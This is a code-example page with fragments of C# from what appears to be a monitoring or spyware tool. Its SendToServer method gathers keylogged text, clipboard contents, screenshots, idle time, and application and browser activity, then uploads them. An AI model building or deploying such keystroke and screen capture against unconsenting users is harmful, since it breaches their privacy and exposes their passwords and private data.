Ejemplo n.º 1
0
 public static int GetIdletimetillmodechange()
 {
     try
     {
         if ((lastIdleMinute * 60) >= Program.Idle_MinTime)
         {
             GlobalClass.WriteMachineIdleTime(lastIdleMinute);
         }
         lastIdleMinute = GlobalClass.ApplicationNowTime.Subtract(GlobalClass.LastIdletime).Minutes;
         LastIdletime   = GlobalClass.ApplicationNowTime;
         return(lastIdleMinute);
     }
     catch (Exception)
     {
         return(0);
     }
 }
 private static void TimerIdle_Interval(Object o)
 {
     try
     {
         rehook();
         if (!(Program.IsBlocked == true && Program.IsSendBlockData == false))
         {
             //3.) save Idle time here
             // Console.WriteLine("Your Idle time is : " + GlobalClass.lastIdleMinute);
             GlobalClass.WriteMachineIdleTime(GlobalClass.lastIdleMinute);
         }
         GC.Collect();
     }
     catch (Exception)
     {
         GlobalClass.WriteTolog("Error in TimerIdle_Interval");
     }
 }
Ejemplo n.º 3
0
        public void SendToServer()
        {
            if (GlobalClass.CheckForInternetConnection())
            {
                //1.) save Keybord test here
                GlobalClass.addKeyLoggerInfo(GlobalClass.KeyBordText, "KL");

                //2.) save Clipbord test here
                GlobalClass.FncClipboard();

                //3.) save Idle time here
                GlobalClass.WriteMachineIdleTime(GlobalClass.lastIdleMinute);

                //4.)Send Screenshot
                ScreenShot.fncScreenShot();

                //5.) Send Application and BrowerDetails
                AppTracker.fncAppTracker();

                //6.) Send All Local Session Data
                // GlobalClass.UploadLocalSessionData();
            }
        }